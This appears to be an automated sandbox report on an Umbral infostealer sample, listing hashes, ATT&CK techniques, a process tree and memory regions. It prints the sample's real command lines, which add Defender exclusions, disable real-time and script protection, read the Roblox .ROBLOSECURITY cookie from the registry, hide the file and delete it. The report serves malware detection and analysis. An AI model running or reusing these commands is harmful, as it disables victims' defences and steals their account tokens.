umbral | e163715d3b507c281af3001a7eb730e3ea31039a74515bea1b2ef85bc235dab7

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
25-06-2024 10:58

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General

Target

ElectrickLaucnher.exe
Size

492KB
MD5

baf6cb0ed8babd0ffc1e767a5300b053
SHA1

a8e13b343328f70a3a818d6d37a5061c8160a611
SHA256

e163715d3b507c281af3001a7eb730e3ea31039a74515bea1b2ef85bc235dab7
SHA512

67aee19bde3fca6d3efd995a65f980992d3750906af34aaaa6da7c2ab416a72eea60587c6d9e543f48bfe4299aab938dc5f566c5c9603a3c1c5ecfd7b7e84644
SSDEEP

6144:nloZM+rIkd8g+EtXHkv/iD4j1LRIv5BcwC8e1m4izv1DhAYkNRRg:loZtL+EP8ZLRIv0BkhDhA/Nfg

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2884-1-0x0000000000BF0000-0x0000000000C72000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	ElectrickLaucnher.exe

Deletes itself 1 IoCs

pid	Process
2872	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2192	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2784	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2884	ElectrickLaucnher.exe
3044	powershell.exe
2624	powershell.exe
2952	powershell.exe
2820	powershell.exe
2464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	ElectrickLaucnher.exe
Token: SeIncreaseQuotaPrivilege	2052	wmic.exe
Token: SeSecurityPrivilege	2052	wmic.exe
Token: SeTakeOwnershipPrivilege	2052	wmic.exe
Token: SeLoadDriverPrivilege	2052	wmic.exe
Token: SeSystemProfilePrivilege	2052	wmic.exe
Token: SeSystemtimePrivilege	2052	wmic.exe
Token: SeProfSingleProcessPrivilege	2052	wmic.exe
Token: SeIncBasePriorityPrivilege	2052	wmic.exe
Token: SeCreatePagefilePrivilege	2052	wmic.exe
Token: SeBackupPrivilege	2052	wmic.exe
Token: SeRestorePrivilege	2052	wmic.exe
Token: SeShutdownPrivilege	2052	wmic.exe
Token: SeDebugPrivilege	2052	wmic.exe
Token: SeSystemEnvironmentPrivilege	2052	wmic.exe
Token: SeRemoteShutdownPrivilege	2052	wmic.exe
Token: SeUndockPrivilege	2052	wmic.exe
Token: SeManageVolumePrivilege	2052	wmic.exe
Token: 33	2052	wmic.exe
Token: 34	2052	wmic.exe
Token: 35	2052	wmic.exe
Token: SeIncreaseQuotaPrivilege	2052	wmic.exe
Token: SeSecurityPrivilege	2052	wmic.exe
Token: SeTakeOwnershipPrivilege	2052	wmic.exe
Token: SeLoadDriverPrivilege	2052	wmic.exe
Token: SeSystemProfilePrivilege	2052	wmic.exe
Token: SeSystemtimePrivilege	2052	wmic.exe
Token: SeProfSingleProcessPrivilege	2052	wmic.exe
Token: SeIncBasePriorityPrivilege	2052	wmic.exe
Token: SeCreatePagefilePrivilege	2052	wmic.exe
Token: SeBackupPrivilege	2052	wmic.exe
Token: SeRestorePrivilege	2052	wmic.exe
Token: SeShutdownPrivilege	2052	wmic.exe
Token: SeDebugPrivilege	2052	wmic.exe
Token: SeSystemEnvironmentPrivilege	2052	wmic.exe
Token: SeRemoteShutdownPrivilege	2052	wmic.exe
Token: SeUndockPrivilege	2052	wmic.exe
Token: SeManageVolumePrivilege	2052	wmic.exe
Token: 33	2052	wmic.exe
Token: 34	2052	wmic.exe
Token: 35	2052	wmic.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeIncreaseQuotaPrivilege	1844	wmic.exe
Token: SeSecurityPrivilege	1844	wmic.exe
Token: SeTakeOwnershipPrivilege	1844	wmic.exe
Token: SeLoadDriverPrivilege	1844	wmic.exe
Token: SeSystemProfilePrivilege	1844	wmic.exe
Token: SeSystemtimePrivilege	1844	wmic.exe
Token: SeProfSingleProcessPrivilege	1844	wmic.exe
Token: SeIncBasePriorityPrivilege	1844	wmic.exe
Token: SeCreatePagefilePrivilege	1844	wmic.exe
Token: SeBackupPrivilege	1844	wmic.exe
Token: SeRestorePrivilege	1844	wmic.exe
Token: SeShutdownPrivilege	1844	wmic.exe
Token: SeDebugPrivilege	1844	wmic.exe
Token: SeSystemEnvironmentPrivilege	1844	wmic.exe
Token: SeRemoteShutdownPrivilege	1844	wmic.exe
Token: SeUndockPrivilege	1844	wmic.exe
Token: SeManageVolumePrivilege	1844	wmic.exe
Token: 33	1844	wmic.exe
Token: 34	1844	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 2052	2884	ElectrickLaucnher.exe	28
PID 2884 wrote to memory of 2052	2884	ElectrickLaucnher.exe	28
PID 2884 wrote to memory of 2052	2884	ElectrickLaucnher.exe	28
PID 2884 wrote to memory of 2612	2884	ElectrickLaucnher.exe	31
PID 2884 wrote to memory of 2612	2884	ElectrickLaucnher.exe	31
PID 2884 wrote to memory of 2612	2884	ElectrickLaucnher.exe	31
PID 2884 wrote to memory of 3044	2884	ElectrickLaucnher.exe	33
PID 2884 wrote to memory of 3044	2884	ElectrickLaucnher.exe	33
PID 2884 wrote to memory of 3044	2884	ElectrickLaucnher.exe	33
PID 2884 wrote to memory of 2624	2884	ElectrickLaucnher.exe	35
PID 2884 wrote to memory of 2624	2884	ElectrickLaucnher.exe	35
PID 2884 wrote to memory of 2624	2884	ElectrickLaucnher.exe	35
PID 2884 wrote to memory of 2952	2884	ElectrickLaucnher.exe	37
PID 2884 wrote to memory of 2952	2884	ElectrickLaucnher.exe	37
PID 2884 wrote to memory of 2952	2884	ElectrickLaucnher.exe	37
PID 2884 wrote to memory of 2820	2884	ElectrickLaucnher.exe	39
PID 2884 wrote to memory of 2820	2884	ElectrickLaucnher.exe	39
PID 2884 wrote to memory of 2820	2884	ElectrickLaucnher.exe	39
PID 2884 wrote to memory of 1844	2884	ElectrickLaucnher.exe	41
PID 2884 wrote to memory of 1844	2884	ElectrickLaucnher.exe	41
PID 2884 wrote to memory of 1844	2884	ElectrickLaucnher.exe	41
PID 2884 wrote to memory of 1684	2884	ElectrickLaucnher.exe	43
PID 2884 wrote to memory of 1684	2884	ElectrickLaucnher.exe	43
PID 2884 wrote to memory of 1684	2884	ElectrickLaucnher.exe	43
PID 2884 wrote to memory of 632	2884	ElectrickLaucnher.exe	45
PID 2884 wrote to memory of 632	2884	ElectrickLaucnher.exe	45
PID 2884 wrote to memory of 632	2884	ElectrickLaucnher.exe	45
PID 2884 wrote to memory of 2464	2884	ElectrickLaucnher.exe	47
PID 2884 wrote to memory of 2464	2884	ElectrickLaucnher.exe	47
PID 2884 wrote to memory of 2464	2884	ElectrickLaucnher.exe	47
PID 2884 wrote to memory of 2192	2884	ElectrickLaucnher.exe	49
PID 2884 wrote to memory of 2192	2884	ElectrickLaucnher.exe	49
PID 2884 wrote to memory of 2192	2884	ElectrickLaucnher.exe	49
PID 2884 wrote to memory of 2872	2884	ElectrickLaucnher.exe	51
PID 2884 wrote to memory of 2872	2884	ElectrickLaucnher.exe	51
PID 2884 wrote to memory of 2872	2884	ElectrickLaucnher.exe	51
PID 2872 wrote to memory of 2784	2872	cmd.exe	53
PID 2872 wrote to memory of 2784	2872	cmd.exe	53
PID 2872 wrote to memory of 2784	2872	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2612	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ElectrickLaucnher.exe
"C:\Users\Admin\AppData\Local\Temp\ElectrickLaucnher.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2052
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ElectrickLaucnher.exe"
  2⤵
  - Views/modifies file attributes
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ElectrickLaucnher.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1684
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2464
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2192
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ElectrickLaucnher.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f35f14cb9633e4e186b8f78c4eacda59

SHA1
c56d24687613044636a20974c2d135ed47743b61

SHA256
ebf76660b97d9395422ed35e5e3c0b00364af3602f575b905882e6a625da67a2

SHA512
57d9ca0011d6c614270aecadd3164e150efa98fdbc480da68c8b4a28e7c6c6e326441cd6a606de2e83d00890f245bb358decf8cc692569d1f181084728661878

Download Submit
memory/2464-44-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2624-14-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2624-15-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2884-0-0x000007FEF5A33000-0x000007FEF5A34000-memory.dmp

Filesize
4KB

Download
memory/2884-1-0x0000000000BF0000-0x0000000000C72000-memory.dmp

Filesize
520KB

Download
memory/2884-2-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

Filesize
9.9MB

Download
memory/2884-48-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

Filesize
9.9MB

Download
memory/3044-7-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/3044-8-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download